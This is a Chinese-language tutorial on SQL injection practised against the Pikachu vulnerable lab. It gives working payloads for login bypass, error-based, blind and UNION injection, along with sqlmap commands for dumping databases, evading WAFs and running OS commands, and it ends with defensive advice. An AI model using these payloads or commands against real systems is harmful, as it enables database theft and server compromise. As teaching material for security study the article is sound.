一、实验环境安装
1.pikachu靶场
下载地址:
GitHub - zhuifengshaonianhanlu/pikachu: 一个好玩的Web安全-漏洞测试平台
2.安装phpstdy
下载地址:
小皮面板(phpstudy) - 让天下没有难配的服务器环境!
3.mysql配置环境
4.sqlmap下载
https://github.com/sqlmapproject/sqlmap/zipball/master
环境:python2、3 皆可
二、sql注入原理
前端数据再传入后端时 没有做过滤,导致传入的数据被拼接到SQL语句中,当做SQL语句执行。
危害:导致数据库受损(被脱裤、数据库被删除、甚至整个服务器权限沦陷等)
三、SQL注入点
1.登录框 2.查询框 3.订单处理等地方 4.http头功能点(cookie、user-Agent,指纹信息、referer)
四、SQL注入方式
万能密码:1' or 1=1 or '1'='1
拼接后的整体SQL语句:
select * from admin where username='1' or 1=1 '1'='1' and password = '(md5值)'
五、SQL注入类型
1、报错注入 (可以用单引号来测试)
通过构造特定的输入来触发这些错误,并从错误消息中获取有关数据库结构和数据的信息。
报错注入用到的函数:
floor() 函数
- 用途:
floor()
函数在MySQL中用于向下取整。在报错注入中,攻击者利用其对随机数操作的特性来触发错误。 - 注入构造:通过在SQL查询中嵌入
floor(rand(0)*2)
可以产生一个重复的值,结合group by
语句,可以导致错误并泄露信息。例如:' and (select count(*),concat((select statement),floor(rand(0)*2)) from large_table group by x)--
- 应用场景:此方法常用于无法直接利用回显或盲注的情况,通过错误消息间接获取数据库内容。
updateexml() 函数
- 用途:
updatexml()
是MySQL用于修改XML文档内容的函数。错误的XPath表达式可以生成有用的错误信息。 - 注入构造:通过提供错误的XPath表达式,可以迫使数据库返回错误信息,从而暴露数据。例如:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
- 应用场景:当应用程序对错误信息有详细的输出时,此函数非常有效。
extractvalue()函数
- 用途:
extractvalue()
函数用于从XML文档中提取数据。错误的XPath参数可以导致详细的错误信息被返回。 - 注入构造:类似
updatexml()
,提供一个不正确的XPath字符串可以引发错误,帮助攻击者获取信息。例如:' or extractvalue(1,concat(0x7e,(select user()),0x7e)) or '
- 应用场景:适用于需要从复杂XML数据结构中提取信息的情形。
2、盲注的类型
在无法直接从数据库获取数据回显的情况下,通过构造特定的查询语句,利用不同方式来判断数据信息。
布尔盲注
攻击者可以通过判断特定字符是否存在于数据库名称中来逐步完全解析出数据库的名称
- 判断数据库名长度:
and length(database())>8
,这条语句可以帮助攻击者确定数据库名称的长度。 - 猜测数据库名:
and (ascii(substr(database(),1,1)))>100
,通过逐步猜测每个字符的ASCII值,可以最终拼出完整的数据库名。 - 猜测表名和字段:同样的方法可以用来猜测表名和字段名,如
and (ascii(substr((select table_name from information_schema.tables limit 0,1),1,1)))>100
时间盲注
利用应用程序在查询数据库时产生的延迟来判断其SQL查询的哪些部分被成功执行。这种攻击方式通常在布尔盲注(Boolean-based Blind SQL Injection)不适用或效率较低时采用。
- 猜测数据库名称长度:
id=1' and If(length(database()) > 8 ,sleep(5),1)--+
,当数据库长度大于8时,会有5秒的延迟。 - 猜测数据库名称的一个字符:
id=1' and If(ascii(substr(database(),1,1))=97,sleep(5),1)--+
,通过改变ASCII值,可以逐步确定每个字符。 - 猜测表名和字段内容:同样的方法也适用于猜测表名和字段内容,如
and if((select ascii(substr((select columnname from informationschema.columns where tableschema='informationschema' and tablename='CHARACTERSETS' limit 0,1),1,1))) >66, sleep(5),1)
基于错误信息的盲注
利用正则表达式和匹配:虽然不是主流方法,但在某些情况下,攻击者可以利用数据库的错误信息进行盲注。例如使用regexp
或like
进行注入尝试
3、盲注常用的一些函数
五、SQL注入语句查询:
六、手动注入
猜解数据库名
联合查询注入:
- 通过UNION SELECT语句将恶意查询与原始查询结果合并。例如,
?id=1' and 1=2 union select 1,2,database() --+
可用来获取数据库名称。 - 爆库爆表:利用information_schema数据库获取所有库名和表名。例如,
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
获取所有数据库。 - 爆出字段内容:通过UNION SELECT获取某个表的字段内容。例如,
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
获取users表的所有字段名
七、sqlmap注入
sqlmap具备强大的功能,支持广泛的数据库管理系统,如MySQL、Oracle、PostgreSQL、Microsoft SQL Server等。它不仅能够进行SQL注入的检测和利用,还能进行数据库指纹识别、数据读取、访问底层文件系统以及通过带外连接执行系统命令
-
基础用法
-u
: 指定目标URL,例如:python sqlmap.py -u "http://www.xxx.com/vuln.php?id=1"
。--batch
: 自动处理所有用户输入问题,无需人工干预。--flush-session
: 清除当前目标的会话文件,重新测试。--dbms
: 指定数据库类型,例如:python sqlmap.py -u URL --dbms="MySQL"
。--level
: 设定payload测试的复杂等级,从1到5,默认为1。
-
高阶用法
-v
: 详细模式,增加输出的信息量。--technique
: 指定测试的SQL注入类型,例如:--technique BE
表示仅测试布尔盲注和基于错误的注入。--tamper
: 使用或自定义脚本绕过WAF或输入过滤,例如:--tamper="space2comment.py,between.py"
。
-
安装方法
- Windows用户需要先安装Python环境,然后将下载的sqlmap解压到Python目录下,创建批处理快捷方式以方便使用。
- Linux用户可以直接下载源码包解压,通过修改权限使其可执行,并可通过alias设置命令别名以便调用。
-
进阶应用
- 枚举数据库管理系统信息,例如:
python sqlmap.py -u [url] --dbs
。 - 获取当前数据库用户和权限,例如:
python sqlmap.py -u [url] --current-user --privileges
。 - 访问文件系统和执行命令(需要较高权限),例如:
python sqlmap.py -u [url] --os-cmd="whoami"
。
- 枚举数据库管理系统信息,例如:
-
防御措施
- 由于sqlmap功能强大且被广泛使用,网站管理员应确保采取适当的安全措施来防范SQL注入攻击。这包括对用户输入进行严格的验证和过滤,使用参数化查询避免直接执行SQL语句,限制数据库用户的权限,以及定期进行安全审计和漏洞评估。
总的来说,sqlmap是一个强大而灵活的工具,能够帮助渗透测试人员发现和利用SQL注入漏洞。然而,对于网站管理员来说,了解其功能和常用参数同样重要,这有助于他们更好地保护网站和用户数据的安全。(AI生成)
八、作者(顾北)发言:
本章是自己所学结合AI工具所写,如有不足之处请大佬指正!!!